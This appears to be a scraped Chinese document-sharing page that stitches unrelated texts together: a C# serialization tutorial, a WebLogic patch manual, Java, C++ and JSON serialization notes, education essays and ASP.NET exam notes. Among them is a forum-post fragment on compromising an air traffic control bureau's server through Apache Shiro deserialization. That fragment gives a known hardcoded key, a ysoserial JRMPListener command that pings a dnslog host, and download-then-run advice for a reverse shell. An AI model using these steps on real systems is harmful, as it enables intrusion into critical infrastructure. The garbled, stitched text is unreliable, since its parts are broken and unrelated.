[Serializable]在C#中的作用-NET 中的对象序列化

[Serializable]在C#中的作用-NET 中的对象序列化
[Serializable]在C#中的作用-NET 中的对象序列化

简介

序列化是指将对象实例的状态存储到存储媒体的过程。在此过程中,先将对象的公共字段和私有字段以及类的名称(包括类所在的程序集)转换为字节流,然后再把字节流写入数据流。在随后对对象进行反序列化时,将创建出与原对象完全相同的副本。

在面向对象的环境中实现序列化机制时,必须在易用性和灵活性之间进行一些权衡。只要您对此过程有足够的控制能力,就可以使该过程在很大程度上自动进行。例如,简单的二进制序列化不能满足需要,或者,由于特定原因需要确定类中那些字段需要序列化。以下各部分将探讨 .NET 框架提供的可靠的序列化机制,并着重介绍使您可以根据需要自定义序列化过程的一些重要功能。

持久存储

我们经常需要将对象的字段值保存到磁盘中,并在以后检索此数据。尽管不使用序列化也能完成这项工作,但这种方法通常很繁琐而且容易出错,并且在需要跟踪对象的层次结构时,会变得越来越复杂。可以想象一下编写包含大量对象的大型业务应用程序的情形,程序员不得不为每一个对象编写代码,以便将字段和属性保存至磁盘以及从磁盘还原这些字段和属性。序列化提供了轻松实现这个目标的快捷方法。

公共语言运行时(CLR) 管理对象在内存中的分布,.NET 框架则通过使用反射提供自动的序列化机制。对象序列化后,类的名称、程序集以及类实例的所有数据成员均被写入存储媒体中。对象通常用成员变量来存储对其他实例的引用。类序列化后,序列化引擎将跟踪所有已序列化的引用对象,以确保同一对象不被序列化多次。.NET 框架所提供的序列化体系结构可以自动正确处理对象图表和循环引用。对对象图表的唯一要求是,由正在进行序列化的对象所引用的所有对象都必须标记为Serializable(请参阅基本序列化)。否则,当序列化程序试图序列化未标记的对象时将会出现异常。

当反序列化已序列化的类时,将重新创建该类,并自动还原所有数据成员的值。

按值封送

对象仅在创建对象的应用程序域中有效。除非对象是从MarshalByRefObject 派生得到或标记为Serializable,否则,任何将对象作为参数传递或将其作为结果返回的尝试都将失败。如果对象标记为Serializable,则该对象将被自动序列化,并从一个应用程序域传输至另一个应用程序域,然后进行反序列化,从而在第二个应用程序域中产生出该对象的一个精确副本。此过程通常称为按值封送。

如果对象是从MarshalByRefObject 派生得到,则从一个应用程序域传递至另一个应用程序域的是对象引用,而不是对象本身。也可以将从MarshalByRefObject 派生得到的对象标记为Serializable。远程使用此对象时,负责进行序列化并已预先配置为Surroga teSelector 的格式化程序将控制序列化过程,并用一个代理替换所有从MarshalByRefO bject 派生得到的对象。如果没有预先配置为SurrogateSelector,序列化体系结构将遵从下面的标准序列化规则(请参阅序列化过程的步骤)。

基本序列化

要使一个类可序列化,最简单的方法是使用Serializable 属性对它进行标记,如下所示:[Serializable]

public class MyObject {

public int n1 = 0;

public int n2 = 0;

public String str = null;

}

以下代码片段说明了如何将此类的一个实例序列化为一个文件:

MyObject obj = new MyObject();

obj.n1 = 1;

obj.n2 = 24;

obj.str = "一些字符串";

IFormatter formatter = new BinaryFormatter();

Stream stream = new FileStream("MyFile.bin", FileMode.Create, FileAccess.Write, FileShare.None);

formatter.Serialize(stream, obj);

stream.Close();

本例使用二进制格式化程序进行序列化。您只需创建一个要使用的流和格式化程序的实例,然后调用格式化程序的Serialize 方法。流和要序列化的对象实例作为参数提供给此调用。类中的所有成员变量(甚至标记为private 的变量)都将被序列化,但这一点在本例中未明确体现出来。在这一点上,二进制序列化不同于只序列化公共字段的XML 序列化程序。将对象还原到它以前的状态也非常容易。首先,创建格式化程序和流以进行读取,然后让格式化程序对对象进行反序列化。以下代码片段说明了如何进行此操作。

IFormatter formatter = new BinaryFormatter();

Stream stream = new FileStream("MyFile.bin", FileMode.Open, FileAccess.Read, FileShare.Read);

MyObject obj = (MyObject) formatter.Deserialize(fromStream);

stream.Close();

// 下面是证明

Console.WriteLine("n1: {0}", obj.n1);

Console.WriteLine("n2: {0}", obj.n2);

Console.WriteLine("str: {0}", obj.str);

上面所使用的BinaryFormatter 效率很高,能生成非常紧凑的字节流。所有使用此格式化程序序列化的对象也可使用它进行反序列化,对于序列化将在 .NET 平台上进行反序列化的对象,此格式化程序无疑是一个理想工具。需要注意的是,对对象进行反序列化时并不调用构造函数。对反序列化添加这项约束,是出于性能方面的考虑。但是,这违反了对象编写者通常采用的一些运行时约定,因此,开发人员在将对象标记为可序列化时,应确保考虑了这一特殊约定。

如果要求具有可移植性,请使用SoapFormatter。所要做的更改只是将以上代码中的格式化程序换成SoapFormatter,而Serialize 和Deserialize 调用不变。对于上面使用的示例,该格式化程序将生成以下结果。

xmlns:xsi=https://www.360docs.net/doc/929599597.html,/2001/XMLSchema-instance

xmlns:xsd="https://www.360docs.net/doc/929599597.html,/2001/XMLSchema"

xmlns:SOAP- ENC=https://www.360docs.net/doc/929599597.html,/soap/encoding/

xmlns:SOAP- ENV=https://www.360docs.net/doc/929599597.html,/soap/envelope/

SOAP-ENV:encodingStyle=

"https://www.360docs.net/doc/929599597.html,/soap/encoding/clr/1.0

https://www.360docs.net/doc/929599597.html,/soap/encoding/"

xmlns:a1="https://www.360docs.net/doc/929599597.html,/clr/assem/ToFile">

1

24

一些字符串

需要注意的是,无法继承Serializable 属性。如果从MyObject 派生出一个新的类,则这个新的类也必须使用该属性进行标记,否则将无法序列化。例如,如果试图序列化以下类实例,将会显示一个SerializationException,说明MyStuff 类型未标记为可序列化。public class MyStuff : MyObject

{

public int n3;

}

使用序列化属性非常方便,但是它存在上述的一些限制。有关何时标记类以进行序列化(因为类编译后就无法再序列化),请参考有关说明(请参阅下面的序列化规则)。

选择性序列化

类通常包含不应被序列化的字段。例如,假设某个类用一个成员变量来存储线程ID。当此类被反序列化时,序列化此类时所存储的ID 对应的线程可能不再运行,所以对这个值进行序列化没有意义。可以通过使用NonSerialized 属性标记成员变量来防止它们被序列化,如下所示:

[Serializable]

public class MyObject

{

public int n1;

[NonSerialized] public int n2;

public String str;

}

自定义序列化

可以通过在对象上实现ISerializable 接口来自定义序列化过程。这一功能在反序列化后成员变量的值失效时尤其有用,但是需要为变量提供值以重建对象的完整状态。要实现IS erializable,需要实现GetObjectData 方法以及一个特殊的构造函数,在反序列化对象时要用到此构造函数。以下代码示例说明了如何在前一部分中提到的MyObject 类上实现ISerializable。

[Serializable]

public class MyObject : ISerializab le

{

public int n1;

public int n2;

public String str;

public MyObject()

{

}

protected MyObject(SerializationInfo info, StreamingContext context)

{

n1 = info.GetInt32("i");

n2 = info.GetInt32("j");

str = info.GetString("k");

}

public virtual void GetObjectData(SerializationInfo info, StreamingContext context)

{

info.AddValue("i", n1);

info.AddValue("j", n2);

info.AddValue("k", str);

}

}

在序列化过程中调用GetObjectData 时,需要填充方法调用中提供的SerializationInf o 对象。只需按名称/值对的形式添加将要序列化的变量。其名称可以是任何文本。只要已序列化的数据足以在反序列化过程中还原对象,便可以自由选择添加至SerializationInfo 的成员变量。如果基对象实现了ISerializable,则派生类应调用其基对象的GetObject Data 方法。

需要强调的是,将ISerializable 添加至某个类时,需要同时实现GetObjectData 以及特殊的构造函数。如果缺少GetObjectData,编译器将发出警告。但是,由于无法强制实现构造函数,所以,缺少构造函数时不会发出警告。如果在没有构造函数的情况下尝试反序列化某个类,将会出现异常。在消除潜在安全性和版本控制问题等方面,当前设计优于Se tObjectData 方法。例如,如果将 SetObjectData 方法定义为某个接口的一部分,则此方法必须是公共方法,这使得用户不得不编写代码来防止多次调用SetObjectData 方法。可以想象,如果某个对象正在执行某些操作,而某个恶意应用程序却调用此对象的SetOb jectData 方法,将会引起一些潜在的麻烦。

在反序列化过程中,使用出于此目的而提供的构造函数将SerializationInfo 传递给类。对象反序列化时,对构造函数的任何可见性约束都将被忽略,因此,可以将类标记为publ ic、protected、internal 或private。一个不错的办法是,在类未封装的情况下,将构造函数标记为protect。如果类已封装,则应标记为private。要还原对象的状态,只需使用序列化时采用的名称,从SerializationInfo 中检索变量的值。如果基类实现了ISeria lizable,则应调用基类的构造函数,以使基础对象可以还原其变量。

如果从实现了ISerializable 的类派生出一个新的类,则只要新的类中含有任何需要序列化的变量,就必须同时实现构造函数以及GetObjectData 方法。以下代码片段显示了如何使用上文所示的MyObject 类来完成此操作。

[Serializable]

public class ObjectTwo : MyObject

{

public int num;

public ObjectTwo() : base()

{

}

protected ObjectTwo(SerializationInfo si, StreamingContext context) : base(si,context)

{

num = si.GetInt32("num");

}

public override void GetObjectData(SerializationInfo si, StreamingContext context)

{

base.GetObjectData(si,context);

si.AddValue("num", num);

}

}

切记要在反序列化构造函数中调用基类,否则,将永远不会调用基类上的构造函数,并且在反序列化后也无法构建完整的对象。

对象被彻底重新构建,但是在反系列化过程中调用方法可能会带来不良的副作用,因为被调用的方法可能引用了在调用时尚未反序列化的对象引用。如果正在进行反序列化的类实现了IDeserializationCallback,则反序列化整个对象图表后,将自动调用OnSerialization 方法。此时,引用的所有子对象均已完全还原。有些类不使用上述事件侦听器,很难对它们进行反序列化,散列表便是一个典型的例子。在反序列化过程中检索关键字/值对非常容易,但是,由于无法保证从散列表派生出的类已反序列化,所以把这些对象添加回散列表时会出现一些问题。因此,建议目前不要在散列表上调用方法。

序列化过程的步骤

在格式化程序上调用Serialize 方法时,对象序列化按照以下规则进行:

检查格式化程序是否有代理选取器。如果有,检查代理选取器是否处理指定类型的对象。如果选取器处理此对象类型,将在代理选取器上调用ISerializable.GetObjectData。

如果没有代理选取器或有却不处理此类型,将检查是否使用Serializable 属性对对象进行标记。如果未标记,将会引发SerializationException。

如果对象已被正确标记,将检查对象是否实现了ISerializable。如果已实现,将在对象上调用GetObjectData。

如果对象未实现Serializable,将使用默认的序列化策略,对所有未标记为NonSerializ ed 的字段都进行序列化。

版本控制

.NET 框架支持版本控制和并排执行,并且,如果类的接口保持一致,所有类均可跨版本工作。由于序列化涉及的是成员变量而非接口,所以,在向要跨版本序列化的类中添加成员变量,或从中删除变量时,应谨慎行事。特别是对于未实现ISerializable 的类更应如此。若当前版本的状态发生了任何变化(例如添加成员变量、更改变量类型或更改变量名称),都意味着如果同一类型的现有对象是使用早期版本进行序列化的,则无法成功对它们进行反序列化。

如果对象的状态需要在不同版本间发生改变,类的作者可以有两种选择:

实现ISerializable。这使您可以精确地控制序列化和反序列化过程,在反序列化过程中正确地添加和解释未来状态。

使用NonSerialized 属性标记不重要的成员变量。仅当预计类在不同版本间的变化较小时,才可使用这个选项。例如,把一个新变量添加至类的较高版本后,可以将该变量标记为NonSerialized,以确保该类与早期版本保持兼容。

序列化规则

由于类编译后便无法序列化,所以在设计新类时应考虑序列化。需要考虑的问题有:是否必须跨应用程序域来发送此类?是否要远程使用此类?用户将如何使用此类?也许他们会从我的类中派生出一个需要序列化的新类。只要有这种可能性,就应将类标记为可序列化。除下列情况以外,最好将所有类都标记为可序列化:

所有的类都永远也不会跨越应用程序域。如果某个类不要求序列化但需要跨越应用程序域,请从MarshalByRefObject 派生此类。

类存储仅适用于其当前实例的特殊指针。例如,如果某个类包含非受控的内存或文件句柄,请确保将这些字段标记为NonSerialized 或根本不序列化此类。

某些数据成员包含敏感信息。在这种情况下,建议实现ISerializable 并仅序列化所要求的字段。

转自https://www.360docs.net/doc/929599597.html,/wddavid/archive/2007/05/08/739456.html

WebLogic 组件反序列化漏洞补丁升级操作手册

weblogic反序列化补丁安装 梁裕 1、到weblogic官网下载补丁包(p2*******_1036_Generic.zip、 p2*******_1036012_Generic.zip如果找不到的朋友,可以在回复中给我留下邮箱,我会定期回复。) 2、10.3.6对应的补丁包p2*******_1036012_Generic.zip ,补丁包需要依赖于一个大的升级 包,所以需要把p2*******_1036_Generic.zip也下载下来。 3、登录linux的weblogic用户,切换到/home/weblogic/Oracle/Middleware/utils/bsu/目录下。 4、确认当前weblogic版本,并确认所有域的进程全部关闭 ./bsu.sh -prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3/ -status=applied -verbose –view 5、查看是否存在/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir 目录,没有的需要 手工创建。 6、将补丁包上传到/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir目录下 7、首先打大的升级包,解压p2*******_1036_Generic.zip unzip p2*******_1036_Generic.zip EJUW对应就是后面命令的patchlist 8、执行补丁安装命令。 ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=EJUW-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 9、打序列化的补丁包,解压p2*******_1036012_Generic.zip unzip p2*******_1036012_Generic.zip ./bsu.sh -install -patch_download_dir=/home/weblogic/Oracle/Middleware/utils/bsu/cache_dir -patchlist=ZLNA-prod_dir=/home/weblogic/Oracle/Middleware/wlserver_10.3 –verbose 10、在打ZLNA补丁包时,遇到了内存溢出的问题。需要修改bsu.sh脚本,将内存调大。 11、启动weblogic的域,查看输出日志。确定版本是否生效。

java序列化的作用

最近在阅读Core J2EE Patterns 的时候发现例子里用于在各个层次里进行传输的TO(Data Transfer Object)都实现了java.io.Serializable接口,看到这些偶突然感到茅塞顿开~困扰了很久的关于Serializable的疑问渐渐解开了,查找相关资料并总结如下: 序列化是什么: 序列化就是将一个对象的状态(各个属性量)保存起来,然后在适当的时候再获得。 序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例 序列化的什么特点: 如果某个类能够被序列化,其子类也可以被序列化。声明为static和transient类型的成员数据不能被序列化。因为static代表类的状态, transient代表对象的临时数据。 什么时候使用序列化: 一:对象序列化可以实现分布式对象。主要应用例如:RMI要利用对象序列化运行远程主机上的服务,就像在本地机上运行对象时一样。 二:java对象序列化不仅保留一个对象的数据,而且递归保存对象引用的每个对象的数据。可以将整个对象层次写入字节流中,可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的"深复制",即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。 ====================== 可以看看接口java.io.serializable的中文解释: Serializable public interface Serializable 类通过实现 java.io.Serializable 接口以启用其序列化功能。未实现此接口的类将无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。序列化接口没有方法或字段,仅用于标识可序列化的语义。

C++序列化反序列化库Kapok

C++序列化/反序列化库Kapok 1.Kapok的特点 简单,易用,header-only,只需要引用Kapok.hpp即可;高效,初步测试性和messagepack 相当。 它是纯c++11实现,因此需要支持C++11的编译器。 2.主要功能 对对象进行自动化的序列化和反序列化,用起来非常简单,先来看个序列化/反序列化一个tuple的例子吧。 //序列化 Serializer sr; auto tp = std::make_tuple(10, 12, string("test")); sr.Serialize(tp, "tuple"); //反序列化 DeSerializer dr; std::tuple p; dr.Parse(sr.GetString()); dr.Deserialize(p, "tuple"); 看起来是不是很简单! 再看一个序列化一个自定义对象的例子。 struct Person { int age; string name; string city; META(age, name, city) }; Person p = { 18, "bb", "aa" }; //序列化 Serializer sr; sr.Serialize(p, "Person"); //反序列化 DeSerializer dr;

Person person; dr.Parse(sr.GetString()); dr.Deserialize(person, "Person"); 一样的很简单,结构这里需要一个宏定义META,这个META的作用就是获取对象的元信息,有了这个元信息我们就可以很方便的实现序列化和反序列化了。 3.应用场景 Kapok除了不支持指针之外所有的对象都支持,支持结构体的无限嵌套(被嵌套的结构体也必须定义META宏)。这里说一下为什么不支持指针呢,因为对象中有指针的话存在两个问题:1.这个指针如果是动态数组的话,c++中无法获取这个数组的长度;2.指针还涉及到内存管理,我希望Kapok专注于序列化和/反序列化,暂时不考虑内存管理。 4.结构体必须有一个宏定义是否具有侵入性? 看起来每个序列化/反序列化的对象都要带一个宏定义似乎侵入性较强,但这种侵入性是完全无害的,因为它只是定义了一个额外的函数而已,这个函数只会在序列化/反序列化的时候才会用到,不会对当前对象造成任何影响,还有一点是因为c++没有反射,必须要通过某种方法来获取对象的元信息,纵观目前所有的序列化方案,只有这种方式是最简洁的,用户做最少的事情即可,这也是我选择这种方式的原因。 5.Kapok是如何实现序列化/反序列化的 Kapok的最底层是用到了rapidjson, 用它来实现对基本类型的序列化,对它做了一个简单的封装以便供上层使用,上面层就是序列化\反序列化实现层,主要是实现对对象元信息的解析和自动化的打包和解包。下面是Kapok序列化的一个示意图: 6.Kapok的性能如何 初步测试对一个tuple进行序列化/反序列化一万次,发现Kapok的耗时和messagepack相当。 7.Kapok是否支持多语言 暂时不支持,先把c++版本做好再说,如果要支持多语言的话,需要用其它语言进行重写,

巧用三步骤助推个别化学习活动“序列化”

巧用三步骤助推个别化学习活动“序列化” 《3-6岁儿童学习与发展指南》(指南)指出:“要充分理解和尊重幼儿发展进程中的个别差异,支持和引导他们从原有水平向更高水平发展,按照自身的速度和方式到达《指南》所呈现的发展‘阶梯’,切忌用一把‘尺子’衡量所有幼儿。”所以我园针对不同发展水平的幼儿设计材料,以“序列化”的模式开展了个别化学习。在这样的学习下幼儿能自我发现、自我完善、自我学习、自我探索,它有着相对自由宽松的活动氛围,能让孩子们体验到真正的自由和自主,体验到乐趣。 一、个别化学习活动中存在的问题 1.内容无计划,盲目进行。 教师们对个别化学习的投放没有一个系统的计划,每次定学习内容都是很盲目的,这个星期定的内容也许是比上星期的要简单或者是难度大非常多的内容。 2.材料无层次,投放无序。 由于计划没有,导致做材料也是一个比较头疼的事,教师们只是看到有什么材料就投放什么材料,没有一个先后顺序。 3.观察无目的,指导单一。

幼儿在游戏进行时,教师观察不够细致。个别化游戏是班内每个孩子都参与的游戏,教师要关注到每个孩子的确很难,在这样的情况下,往往就是观察不全面、不细致、导致最后提升的学习效果不强烈。 二、“序列化”模式在个别化学习活动中的运用策略 (一)活动之前“巧”选内容,形成初步的“序列化”模式 1.以点盖全――“选”横向内容。 教师可按照自己执教的年龄孩子设定以《指南》为导向并符合他们的学习计划,使得一个一个学习计划层层递进。考虑到小班幼儿的年龄特点,我选择了糖果为主要材料。 游戏一:糖果加工厂。 准备皱纸、报纸等材料,以“糖果加工厂”的形式展开,幼儿以制作糖果的工作人员为角色,吸引孩子的参与兴趣。根据小班孩子正处于具体形象思维阶段的特点,所以在盒子上贴上制作的图示方便于每位孩子的学习。 游戏二:糖果大赢家。 利用幼儿在糖果加工厂里制作出来的糖果投放到“糖果大赢家”中,选择幼儿熟悉的动物角色,如:小兔、小狗、小猫等动物供幼儿选择。2到3个幼儿一起比赛,扔到几就取几颗糖果,最后比比谁赢得多。 游戏三:礼物大搬家。

Apache Shiro反序列化远程代码执行-其他利用姿势

12下一页 返回列表 回复发帖 帖子2 积分1 TCV0 TuBi1 坛龄84天 1# 跳转到? 倒序看帖 打印字体大小: T00LS ? 渗透测试文章(Security Articles) ? 投稿文章:通过Shiro反序列化拿下某空管局服务器root权限 steven 新手上路 发表于 所需阅读权限 20 [【原创】]投稿文章:通过Shiro反序列化拿下某空管局服务器root 权限 xuehei|提醒短消息论坛任务|个人中心退出 首页版块搜索银行T00ls工具帮助

目标站返回rememberMe的cookie字段或者在请求包中含有rememberMe的cookie字段的时候,说明该目标站是用了shiro框架漏洞利用 ①猜解密钥 前文中提到的硬编码的密钥,在实际生产环境中不同的项目可能会存在不同的密钥(key),从github上搜集了部分常用的key用于猜解,这里用到dnslog来判断是否成功. 可以看到当Key为kPH+bIxk5D2deZiIxcaaaA==时,服务器收到了目标站的请求,这里我们可以确定该站的key为 kPH+bIxk5D2deZiIxcaaaA== ②命令执行 这里我们利用ysoserial工具进行漏洞利用. 在服务器上执行 java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'ping -c 1 sl0437.ceye.io' 可以看到已经接收到了目标站的请求,并且payload发送给目标站以后成功执行了ping命令.说明目标站CommonsCollections1存在反序列化漏洞 ③反弹shell 在实战中发现,虽然可以成功执行命令了,但是由于runtime等环境因素并不能直接反弹shell,这个可以采用先下载后运行的方式.

写作思维序列化训练的实践研究-开题报告

写作思维序列化训练的实践研究-开题报告

《写作思维序列化训练的实践研究》开题报告 一.课题研究背景 作文水平是语文水平的综合反映,不仅仅反映作者对已知信息的表达能力和组合技巧,而且还能反映一个人的心智水平。有一份调查报告显示:有45%的学生把作文当做一种负担,12%的学生讨厌语文。许多学生患有作文恐惧症,谈作文色变,这严重地影响着母语学习的质量。长期以来,我校广大语文教育工作者积极探索,大胆实践,勇于创新,积累了不少经验,取得了可喜的成绩。但不得不承认我们在语文教学中最薄弱的环节还是作文教学,至今仍没有走出“高耗低效”的怪圈。 普通高中语文课程标准规定:写作是运用语言文字进行书面表达和交流的重要方式,是认识世界、认识自我、进行创造性表述的过程。写作教学应着重培养学生的观察能力、想像能力和表达能力,重视发展学生的思维能力,发展创造性思维。鼓励学生自由地表达、有个性地表达、有创意地表达,尽可能减少对写作的束缚,为学生提供广阔的写作空间。”“ 高中语文课程要满足多样化和选择性的需要,必须增强课程资源意识,重视课程资源的利用和开发。语文教师应高度重视课程资源的利用与开发。” 对照课标,我们就能清楚的发现,在作文的教与学中,无论是老师还是学生存在问题的原因。 教师方面: (1)对学生的写作潜能挖掘激发的不够。作为老师,应该千方百计的唤醒、挖掘、激发学生的写作欲望,消除畏惧心理,培养写作兴趣。孔子说过:“知之者不如好之者,好之者不如乐之者。”谈得便是兴趣的问题。学生如果有了写作兴趣,把写作当作乐事,自然就会愿意写作,乐于写作了。教师在这个方面方式与方法都需要改进和提高。 (2)对教材资源的利用与开发重视程度不够。中学语文教材所选的课文都是经过时间检验的经典文章,汇聚古今中外的名篇佳作、文章精华,久经岁月磨练,历来脍炙人口。教师在教学过程中缺乏有意识的开发和利用这些资源。其实,我们每学习一篇课文,都可以把作文指导和课文教学有机结合起来,将学习写作与分析课文融会贯通,让每一篇课文都成为学生写作的练兵场。给学生提供可以参照的典型、能够模仿的范例,或积累雅词美句、或进行句式仿写、或学一点写作技巧、或模仿篇章布局、或再加工改造等。总之,让教材成为学生练习写作的蓝本,可以有效的提高学生的写作素养。 学生方面: (1)对写作素材的积累占重视程度有的不够。“巧妇难为无米之炊”,学生的心中没有材料,又怎能进行恰当的选材、组材,写出中意的文章?没有写作素材,全篇空话、套话,言之无物的现象也就不足为怪了。同学们习作时存在最普遍的问题就是无话可说。好不容易拼拼凑凑才写成一篇文章,却写得不够具体,也不真实。“问渠哪得清如许,唯有源头活水来”便是这个道理。 (2)创造力严重缺失。学生被迫按应试模式写作,以致头脑僵化、思维阻塞、文思枯竭,创造性精神被消磨,创造性思维被扼杀,并逐步形成盲目从众的思维惰性,题材雷同,矫揉造作。而长期以来,在应试教育统一化标准的束缚下,

JAVA序列化基础知识Serializable与Externalizable的区别

大家都知道Serializable是一个mark interface,告诉JVM这个对象可以被转换成二进制流来传输. 但是Serializable与Externalizable的转换二进制流的过程是不一样的. Serializable 在我们实现这个接口的时候,我们可以使用4个私有方法来控制序列化的过程: 我们来看一个例子: public class FooImpl implements java.io.Serializable{ private String message; public String getFoo() { return message; } public void setMessage(String message) { this.message = message; } private void writeObject(java.io.ObjectOutputStream out) throws IOException { System.out.println("writeObject invoked"); out.writeObject(this.message == null ? "hohohahaha" : this.message); } private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { System.out.println("readObject invoked"); this.message = (String) in.readObject(); System.out.println("got message:" + message); } private Object writeReplace() throws ObjectStreamException { System.out.println("writeReplace invoked"); return this; } private Object readResolve() throws ObjectStreamException { System.out.println("readResolve invoked"); return this; }

ASPNET期末复习题

备注: 1.考试题型包括选择题(80分)、填空题(20分) 2.考试主要内容范围:上课PPT中涉及到的知识点和本大纲所列知 识。 3.闭卷考试。 https://www.360docs.net/doc/929599597.html,复习资料 一、基础知识点(对应填空题、解答题) (1) ASPX网页的代码储存模式有两种,它们是__代码分离模式_和_单一模式__代码分离模式。 (2) 当一个Web控件上发生的事件需要立即得到响时,应该将它的__AutoPostBack_ 属性设置为true。 (3) 请将下列数据(nn)在TextBox控件中显示出来。 Double nn = 4512.6; TextBox1.Text = nn.Tostring(); (4)当需要将TextBox控件作为密码输入框时(要求隐藏密码的代码),应该将控件的TextMode属性设置为Password. (5) 下面是一个转移到目标网页的指令:Response.Redirect(“新网页的Url ”) (6) 在设计阶段必须将各个验证控件的(ControlToValidate)属性指向被验证的控件。 (7) 下面是设置和取出Session对象的代码。 设置Session的代码是: Session*“greeting”+=“hello wang !”; 取出该Session对象的语句如下: string Myvar= Session*“greeting”+.ToString(); (8) 下面是使用Application对象时防止竞争的代码。 Application. ; //锁定Application对象 Application*“counter”+=(int) Application*“counter”++1; Application. ; //解除对Application对象的锁定 lock(),unlock() (9) 废除Session的语句是:(Session.Abandon())。 (10) 打开文件系统网站时将自动打开一个(开发)服务器,这是一个轻量级服务器,可以用来对程序进行检查和调试工作。 (11) 所谓分布式类就是在多个文件中使用相同的__命名空间__,相同的__类名__,而且每个类的定义前面都加上__partial__修饰符,编译时编译器就会自动的将这些文件编辑成一个完整的类。 (12) 改变Session的有效时间的语句是:__Session.Timeout=60; ___________ 。 (13) NET与XML紧密结合的最大好处是______跨平台传送数据_______ 。

使用json-lib完成json的序列化和反序列化

使用json-lib完成json的序列化和反序列化2011-07-29 14:07:43 分类:默认分类 | 标签:软件 java json. json的序列化和反序列化在现在的javaweb中特别是ajax中使用的比较频繁,现在本人就这种技术提出自己的使用心得。 我的pojo对象的结构是这样的 部门表和员工表 1对多的关系 部门对象 public class Dept implements java.io.Serializable { private Integer depid;//部门ID private String depname;//部门名称 private Set emps = new HashSet(0);//员工集合 } 员工对象 public class Emp implements java.io.Serializable { private Integer empid;//员工id private Dept dept;//部门 private String empname;//员工名称 private Date birthday;//生日 } 1.json字符串序列化成对象 /** *通过json转换成对象 *@author凤生禾予 */ public void jsonToObject(){ Date d=new Date(); SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd"); StringBuffer str=new StringBuffer(); // json字符串 str.append("{empid:1,dept:{depid:1,depname:'开发部'},empname:'张三 ',birthday:'"+sdf.format(d)+"'}"); // 使用JSONObject将json序列化对象 JSONObject obj=JSONObject.fromObject(str.toString()); // 将JOSNObject对象转换成pojo对象 Emp emp=(Emp) JSONObject.toBean(obj,Emp.class); System.out.println(emp.getBirthday()); } 这里需要注意的是json字符串的写法以{}表示一个对象,字符串必须加引号

C++序列化

转载:C++中使用STL轻松实现序列化 2008-01-22 19:58 转自:https://www.360docs.net/doc/929599597.html,/pandaxcl/archive/2006/04/03/649682.aspx #if 0 在用C++编写应用程序的过程中,经常涉及到序列化的问题,但是序列化的问题通常都 会有非常繁琐的过程代码需要书写,本文中就是通过简单的步骤实现了程序的序列化问题 ,简单直接,和其它的序列化方案有着很大的不同。 首先来看看简单的数据写入文件和从文件读入数据的代码: 特别注解:本人特别喜欢用STL来书写代码,一方面是便于移植,但是另一方却是在于 用STL书写的代码简单直接,可读性好。如果还不熟悉STL,本文则不大适合你:) #endif #if CODE1 ///////////////////////////////////////////////////////////////////// /////////// //模拟程序序列化的简单代码 #include //cout #include //ofstream,ifstream #include //vector #include //ostream_iterator,istream_iterator,back_inserter #include //partial_sum #include //copy #include #include using namespace std;//简化代码的书写,经std名字空间成为默认名字空间int main() { {//从程序序列化到文件 vector v(5,1);//[1,1,1,1,1] partial_sum(v.begin(),v.end(),v.begin());//[1,2,3,4,5] ofstream out("data.txt");//生成文件输出流 //将数组v中的数据全部输出到文件流中,这种操作在C++中成为文件操作 //在这里暂时称为序列化到文件操作。实际上这里为了简单序列化的格式 //为文本文件格式。如果需要其它的格式完全可以通过自定义输出流游标 //的方式,或者重载运算符operator<<和operator>>实现不同的序列

6_ASP[1].NET内置对象的使用

实验6 https://www.360docs.net/doc/929599597.html,内置对象的使用 一、目的与要求 熟练掌握Cookie、Application及Session对象的使用。 二、实验环境 1.计算机一台; 2.Microsoft Visual Studio .NET 2008工具软件; 三、内容和步骤 【实验题1】使用Application对象统计网站的访问次数 步骤如下: 1.新建一个Web应用项目。 2.创建程序主页面窗体index.aspx,页面上放置两个Label控件,控件标识名分别为:label1和label2,label1用于显示计数值,label2用于显示访问的当前时间。 3.在index.aspx页面的空白处双击,进入程序编辑窗口,在Pagp_load事件中输入以下程序代码: protected void Page_Load(object sender, EventArgs e) { Application.Lock(); Application["Counter"]= Convert.ToInt32(Application["Counter"]) + 1; Application.UnLock(); Label1.Text = "您是第" + Application["Counter"].ToString() + "位访客!"; Label2.Text="最近一次浏览时间:"+ System.DateTime.Now. ToString(); } 4.编译、运行程序,结果如图6-1所示。连续单击“刷新”按钮,观察网页上访客人数的变化。 图6-1程序运行结果 【实验题2】使用Cookie对象统计您访问网站的次数 步骤如下:

课外阅读序列化研究操作策略.

